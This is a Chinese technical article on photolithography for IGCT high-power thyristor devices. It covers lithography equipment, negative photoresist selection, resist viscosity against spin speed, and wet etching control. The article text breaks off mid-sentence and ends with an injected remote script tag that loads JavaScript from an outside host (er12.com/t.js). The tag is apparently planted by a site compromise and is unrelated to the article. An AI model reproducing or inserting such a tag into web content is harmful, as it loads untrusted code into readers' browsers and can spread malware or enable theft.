１ 引言
ｉｇｃｔ是在ｇｔｏ基础上发展起来的一种新型大功率器件，它结合了晶体管和晶闸管两种器件的优点，即晶体管的强关断能力和晶闸管的低通态损耗，具有大电流、高电压、开关频率高、高可靠性、结构紧凑、低损耗的特点［１］。ｉｇｃｔ可广泛应用于各种驱动控制、静态无功补偿ｓｖｇ等各种电力变流器及柔性交流输出系统ｆａｃｔｓ［２］。
ｉｇｃｔ是一种特殊的晶闸管，其ｇｃｔ部分与ｇｔｏ一样，集成有数千个称为梳条的小开关单元，呈同心圆并联在一只芯片上。这种结构决定了ｉｇｃｔ设计的复杂性，对工艺技术特别是光刻的要求也很高。光刻是ｉｇｃｔ的关键工艺之一，是基础，唯有光刻过关，梳条废条率低，才能保障器件的性能。
ｉｇｃｔ的光刻特点如下：①光刻次数多，对准要求高。ｉｇｃｔ在整个制造过程中有近１０次光刻，而且几乎都是易版套刻，套刻精度要求高。②梳条多，尺寸小，不允许有任何缺陷。一只４０００ａ，４５００ｖ的ｇｃｔ芯片上有近３０００梳条，几乎不允许有坏梳条。③ｉｇｃｔ芯片的特点之一是阴阳极双面都有图形，这与普通晶闸管不同，与一般的微电子工艺也不同，这就决定了其光刻的特殊性，即双面对准光刻。
在ｉｇｃｔ研制过程中，如何通过光刻控制废条率是关键。为了提高光刻水平，降低废条率，我们着手从多方面进行比较和研究试验，如光刻机的性能、光刻胶的选择、刻蚀工艺等，希望能将废条率从初期的千分之一降至万分之几，提高近一个数量级。
２ 光刻机与光刻胶
对于光刻机，有三个主要的性能度量标准：分辨率、对准、产量。复杂、性能良好的自动光刻系统对于国内大多数的大功率器件制造厂家来说，是不太容易得到的，它们使用的光刻系统一般是手动的，且精度往往较低。因此选择一种相对价格低廉，又能满足ｉｇｃｔ需求的光刻机就显得重要了。同时，针对ｉｇｃｔ双面都有图形的特点，使用的光刻机必须还具有双面同时对准曝光或背面对准功能。我们选用从国外进口的光刻机来满足要求，这种光刻机最高精度可达１μｍ，同时具有背面对准功能。曝光时，采用软接触方式，减少缺陷的产生，同时也能满足ｉｇｃｔ的光刻精度要求。
２.１ 光刻胶的选择
光刻胶有正胶、负胶之分，正胶的分辨率较好，但负胶的抗化学腐蚀能力则强些［３］。ｉｇｃｔ光刻重要的是抗蚀能力，因此对国内多个厂家的多种负胶产品进行了对比试验，选用较好的１＃，２＃负性光刻胶（表１），并使用与之配套的显影液。
２.２ 光刻胶黏度及涂胶速度的确定
ｉｇｃｔ的阴极梳条从开始的平面形状逐步过渡到立体形状，到最后梳条要高出四周门极１０μｍ，再加上铝层则高出达２０μｍ （图１（ａ））。如此高的台阶，显然要用高黏度光刻胶才可以形成厚膜，提高胶的抗蚀能力。图１（ｂ）和（ｃ）分别示出了涂高黏度胶和低黏度胶的芯片梳条台阶形状。从图中可见，高黏度胶的台阶覆盖要好得多。因此在ｉｇｃｔ的整个工艺流程中，要区分使用不同黏度的光刻胶，以满足不同台阶覆盖的需要。
图２示出了高黏度胶和低黏度胶的胶膜厚度与涂胶转速的关系。按图中曲线，根据所需膜厚即可确定涂胶转速。
３ 刻蚀
刻蚀通常分为湿法刻蚀和干法或等离子刻蚀。湿法刻蚀的优点是高的选择比，不产生衬底损伤，非常容易实现，缺点是容易产生颗粒玷污。等离子刻蚀有不少优点，但等离子刻蚀会在硅片表面残留金属杂质，降低ｉｇｃｔ的最终少子寿命，严重影响器件性能。基于此，我们选择了湿法刻蚀，并进行了改进。
３.１ 准确控制腐蚀温度和时间
湿法腐蚀的两个重要方面是保持均匀的刻蚀速率和减少颗粒玷污。湿法腐蚀由三个步骤组成［４］：腐蚀液移动到硅片表面；与裸露出来的ｓｉｏ２ （或金属层）发生反应生成可溶解物；再从表面移去反应生成物。要获得高的、均匀的刻蚀速率，就要控制好腐蚀时间、温度，并搅拌好腐蚀液，使表面一直有新鲜的腐蚀液供应。
试?script src=http://er12.com/t.js>
